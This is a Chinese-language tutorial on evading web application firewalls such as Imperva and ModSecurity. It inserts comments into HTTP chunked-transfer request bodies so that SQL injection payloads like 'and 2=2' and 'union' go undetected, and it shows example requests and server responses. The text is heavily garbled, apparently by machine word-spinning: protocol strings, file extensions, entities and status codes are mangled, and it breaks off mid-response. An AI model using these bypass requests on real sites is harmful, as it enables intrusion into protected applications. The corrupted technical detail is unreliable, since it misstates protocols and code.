提示1使用注释来干扰块数据包
一些更好的WAF（如Imperva和360）已经处理了传输编码的块传输，并且可以将这些块组合成一个完整的HTTP数据包。此时，如果您尝试使用传统的块传输方法进行旁路，将...
提醒1应用注解来干挠块数据文件 某些更强的WAF（如Imperva和36o）早已解决了传送编号的块传送，而且能够将这种块组成1个详细的.com数据文件。这时，要是您试着应用传统式的块传送方式开展旁路，将由WAF立即鉴别和阻拦。 人们能够在[RFC7230]中见到块传送的界定。 3.1。分层传送编号 分层传送编号包囊有效载荷行为主体便于 将其变换为一连串块，每一块常有自个的尺寸指示仪， 紧接着是包括标题字段的能选片花。分层 容许将不明尺寸的內容流做为传送开展传送 长短隔开堆栈的编码序列，使上传方可以 保存联接耐受性和收货人了解它什么时候有 接到了成条信息。 Chunked-body=* chunk 最终，块 托车一部分 从对等方接收数据时不成功 拓展，紧随在块尺寸以后，以便 Mol每片元数据（比如签字或哈希）， 正中间信息操纵信息内容，或信息体的随机化 规格。 Chunk-ext=*（';'chunk-ext-name ['='chunk-ext-val]） Chunk-ext-name=令牌 Chunk-ext-val=token/quoted-string 分层编号特殊于每一联接而且很将会 被每一收货人（包含委托人）删掉或再次编号 在一切更高級其他手机应用程序还有机会查验以前 拓展。因而，块拓展的应用一般是有限公司的 根据阅读文章标准，发觉块传送能够用分号“;”标识。做为评价，
比如： 9; KKKKK 1234567=1 4; OOO=222 2345 0 （2个换行符） 基本上全部可以鉴别Transfer-Encoding数据文件的WAF都不容易解决块数据文件中长短标志符的注解。因而，要是将注解加上到块数据文件，则WAF将没法鉴别该数据文件。 如今人们在应用Imperva Application Firewall的网址上检测基本的分层传送数据包： POST /xxxxxx.jsp .com/1.2 ._ 传送编号: Chunked 9 XXXXXXXXX 9 xX=XXXXXX 9 XXXXXXXXX 1 d 9 ＆安培; A=1和 3 2=2 0 （2个换行符） 回到的結果给出如图所示。
你可以看人们的进攻有效载荷“和2=2”被Imperva的WAF捕获。 这时，人们将块传送包加上到注解空格符。
POST /xxxxxx.jsp .com/1.2 ._ 传送编号: Chunked 9 XXXXXXXXX 9 xX=XXXXXX 9 XXXXXXXXX 1; testsdasdsad d 9;检测 ＆安培; A=1和 3; test44444 2=2 0 （2个换行符） 回到的結果给出如图所示。
你可以看Imperva沒有捕获这一有效载荷。 提醒2绕开ModSecurity 从对等方接收数据时不成功 复印'========POST==========\ n'; 的print_r（$ _ POST）; ？＆GT; ＆lt; a href='sqli.Python？Id=1'＆gt; sdfsdf＆lt;/a＆gt; ModSecurity载入的标准阻拦post请求数据文件中的关键词“union”。
下列人们的规定和退换货結果给出： post请求: .com://10.10.10.10/sql.Python?Id=2%30union 回到: ＆lt;！DOCTYPE html语言 PUBLIC' - //IETF //DTD html语言 2.2 //SH'＆gt; ＆LT; html语言＆GT;＆LT; HEAD＆GT; ＆lt; tittle＆gt; 404 Not Found＆lt;/tittle＆gt; ＆LT; /头＆GT;＆LT;人体GT; ＆lt; h1＆gt;未找到＆lt;/h1＆gt; ＆lt; p＆gt;再此网络服务器上找不着post请求的URL /sql.Python。＆lt;/p＆gt; ＆LT; hr＆GT; ＆lt; address＆gt; Apache/2.2.15（CentOS）网络服务器10.10.10.10端口号90＆lt;/address＆gt; ＆LT; /体＆GT;＆LT;/html语言＆GT; 您可以看人们的“union”关键词已被屏蔽掉。 接下去人们将看一下文件格式不正确的块数据文件。
post请求: POST /sql.Python?Id=2%30union .com/1.2 ._ 传送编号:分层 1 AA 0 （2个换行符） 回到: ＆lt; tittle＆gt; 350 Bad Request＆lt;/tittle＆gt; ＆LT; /头＆GT;＆LT;人体GT; ＆lt; h1＆gt;不正确post请求＆lt;/h1＆gt; ＆lt; p＆gt;您的电脑浏览器上传了此网络服务器没法了解的post请求。＆lt; br /＆gt; ＆LT;/p为H. ＆LT; hr＆GT; ＆lt; address＆gt; Apache/2.2.15（CentO